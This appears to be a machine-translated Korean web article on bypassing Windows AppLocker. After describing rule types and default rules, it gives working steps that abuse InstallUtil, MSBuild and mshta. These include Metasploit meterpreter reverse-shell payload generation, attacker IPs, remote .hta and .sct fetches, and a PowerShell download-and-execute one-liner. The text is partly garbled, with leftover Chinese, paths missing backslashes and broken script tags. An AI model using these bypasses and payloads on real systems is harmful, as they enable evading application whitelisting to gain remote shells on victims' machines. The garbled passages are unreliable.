AppLocker, 즉 "응용 프로그램 제어 정책"은 Windows 7 시스템에 새로 추가된 보안 기능입니다. 이 기능은 win7 이상의 시스템에 기본적으로 통합되어 있습니다. 서비스에서 애플리케이션 ID를 활성화한 다음 로컬 보안 정책의 애플리케이션 제어 정책에서 Applocker 옵션을 찾을 수 있습니다.
기본 Applocker 규칙은 다음 유형을 지원합니다.
규칙** | 관련 파일 형식 ---|--- 실행 파일 .ps1, .bat, .cmd , .vbs, .js Windows 설치 프로그램 파일 | .msi, .msp, .mst 패키지 응용 프로그램 및 패키지 응용 프로그램 설치 프로그램 | .appx DLL 파일 | .dll, .ocx
.appx 모든 applocker가 존재하는 것은 아닙니다. win10에서는 applocker 규칙을 생성한 후 해당 .applocker 파일이 C:WindowsSystem32AppLocker에 생성됩니다.
규칙 조건은 AppLocker가 규칙을 적용해야 하는 앱을 식별하는 데 사용되는 기준입니다. 세 가지 주요 규칙 조건은 게시자, 경로 및 파일 해시입니다.
Publisher: 디지털 서명을 기반으로 앱을 식별합니다. <br>
Path: 컴퓨터의 파일 시스템이나 네트워크에서 앱의 위치로 식별합니다. <br>
파일 해시: 식별된 파일 시스템을 나타냅니다. 계산된 암호화 해시 <br>
applocker 규칙을 생성한 후 시스템은 기본적으로 아래 그림과 같이 기본 규칙을 추가할지 여부를 묻습니다.
각 규칙에 해당하는 기본 규칙은 다음과 같습니다.
실행 가능한 기본 규칙 유형은 다음과 같습니다.
로컬 관리자 그룹의 구성원이 모든 응용 프로그램을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Windows 폴더에서 앱을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Program Files 폴더에서 앱을 실행할 수 있도록 허용합니다. <br>
스크립트 기본 규칙 유형은 다음과 같습니다.
로컬 관리자 그룹의 구성원이 모든 스크립트를 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Program Files 폴더에서 스크립트를 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Windows 폴더에서 스크립트를 실행할 수 있도록 허용합니다. <br>
Windows Installer 기본 규칙 유형은 다음과 같습니다.
로컬 관리자 그룹의 구성원이 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 디지털 서명된 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 WindowsInstaller 폴더에 있는 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>
DLL 기본 규칙 유형:
로컬 관리자 그룹의 구성원이 모든 DLL을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Program Files 폴더에서 DLL을 실행할 수 있도록 허용합니다. <br>
Everyone 그룹의 구성원이 Windows 폴더에서 DLL을 실행할 수 있도록 허용합니다. <br>
래핑된 앱 기본 규칙 유형:
Everyone 그룹의 구성원이 모든 서명된 래핑된 앱과 래핑된 앱 설치 프로그램을 설치하고 실행할 수 있도록 허용 <br>
규칙은 사용으로 구성 가능 허용 또는 거부 작업:
허용. 환경에서 실행할 수 있는 파일과 사용자 또는 사용자 그룹을 지정할 수 있습니다. 규칙에서 제외할 파일을 식별하도록 예외를 구성할 수도 있습니다. <br>
거부되었습니다. 사용자 환경에서 실행이 허용되지 않는 파일과 해당 파일의 대상 사용자 또는 그룹을 지정할 수 있습니다. 규칙에서 제외할 파일을 식별하도록 예외를 구성할 수도 있습니다. <br>
이제까지 말했지만 데스크톱에서 exe 파일 실행을 금지하는 규칙을 예로 들어 규칙을 만들어 보겠습니다. 생성은 대략 다음과 같습니다:
exe 테스트 실행:
시스템이 실행을 방해합니다
InstallUtil은 .NET Framework의 일부이며 사용자가 명령 프롬프트를 통해 애플리케이션을 빠르게 설치하고 제거할 수 있는 명령줄 프로그램입니다. 이 유틸리티는 Microsoft 서명 바이너리이므로 AppLocker 제한을 우회하여 .NET 실행 파일을 실행하는 데 사용할 수 있습니다. 이 유틸리티는 Windows 폴더 내부에도 있으며, 시스템이 제대로 작동하려면 Windows 폴더의 내용을 실행해야 하므로 AppLocker 정책이 적용되지 않습니다.
먼저 WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)을 사용하여 템플릿을 생성합니다
<br>
<br>
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
위 명령은 Metasploit ShellCode를 포함하는 C# 템플릿을 생성합니다.
생성된 파일을 타겟에 넣고 다음 방법으로 실행합니다:
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
물론이죠. 먼저 msf를 사용하여 csharp 페이로드를 생성한 다음 템플릿의 쉘코드를 교체하고 cs 파일을 대상 컴퓨터로 전송할 수 있습니다.
그런 다음 csc로 스크립트를 컴파일합니다.
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs
이제 파일을 실행하려고 합니다.
규칙에 가로채면
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
Bypass
msf가 온라인에 성공적으로 연결되었습니다
를 사용합니다.
msf에 InstallUtil.exe를 사용하는 applocker용 우회 모듈도 있습니다.
<br>
<br>
exploit/windows/local/applocker_bypass
원칙은 동일합니다
공통 경로 사용:
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>
MSBuild.exe( Microsoft Build Engine)은 Visual Studio에서 사용하는 소프트웨어 구축 플랫폼입니다. 다양한 플랫폼 및 구성에 대한 빌드 요구 사항을 정의하는 XML 형식의 프로젝트 파일이 필요합니다. (인용: MSDN MSBuild)
MSBuild를 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 코드 실행을 프록시할 수 있습니다. .NET 버전 4에 도입된 MSBuild 인라인 작업 기능을 사용하면 C# 코드를 XML 프로젝트 파일에 삽입할 수 있습니다. 인라인 작업 MSBuild는 인라인 작업을 컴파일하고 실행합니다. MSBuild.exe는 서명된 Microsoft 바이너리이므로 이러한 방식으로 사용하면 임의 코드를 실행하고 MSBuild.exe 실행을 허용하도록 구성된 애플리케이션 허용 목록 보호를 우회할 수 있습니다.
여기에서 GreatSCT를 사용하여 xml 파일을 생성할 수 있습니다.
<br>
<br>
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t 우회 -p msbuild/meterpreter/rev_tcp.py
그러면 rc 파일이 생성됩니다. msfconsole -r을 사용할 수 있습니다. msf
를 직접 시작한 다음 msbuild를 사용하여 실행합니다.
msf 온라인:
물론 msf를 사용하여 C# 쉘코드를 생성한 다음 Sanhao 학생 마스터의 템플릿을 사용하여 로드할 수도 있습니다. :
https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
접미사 이름이 .csproj
로 변경된다는 점에 유의하세요. 셸을 리바운드하는 것 외에도 우리는 Powershell의 제한 사항을 우회하는 데에도 사용할 수 있습니다.
코드는 다음과 같습니다.
<br>
<br>
원래 위치: https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
成功绕过对powershell의 限機。
다운로드:
C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe<br>
C :WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe<br>
使用Mshta의 방법 더 많은 것들이 msf의 Exploit/windows/misc/hta_server를 사용하고 있습니다.
<br>
<br>
exploit/windows/misc/hta_server를 사용하세요 msf 익스플로잇(windows/misc/hta_server) > srvhost 192.168.1.109 설정 msf 익스플로잇(windows/misc/hta_server) > Exploit
目标机执行:
<br>
<br>
mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即可上线。
除了这种방법hta还可以使사용cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。
除了本地文件,mshta还支持远程下载的方式执行payload,比如:
<br>
<br>
mshta.exe javascript:a=GetObject( "스크립트:https:/ /gist.github.com/someone/something.sct").Exec();close();
除了以上的 方式,mshta可以사용용来执行powershell:
<br>errree
<script>Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec 우회 -c IEX(New-Object Net.WebClient).DownloadString('http://ip:port/')" </스크립트> <BODY> </script>
위 내용은 AppLocker 우회 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!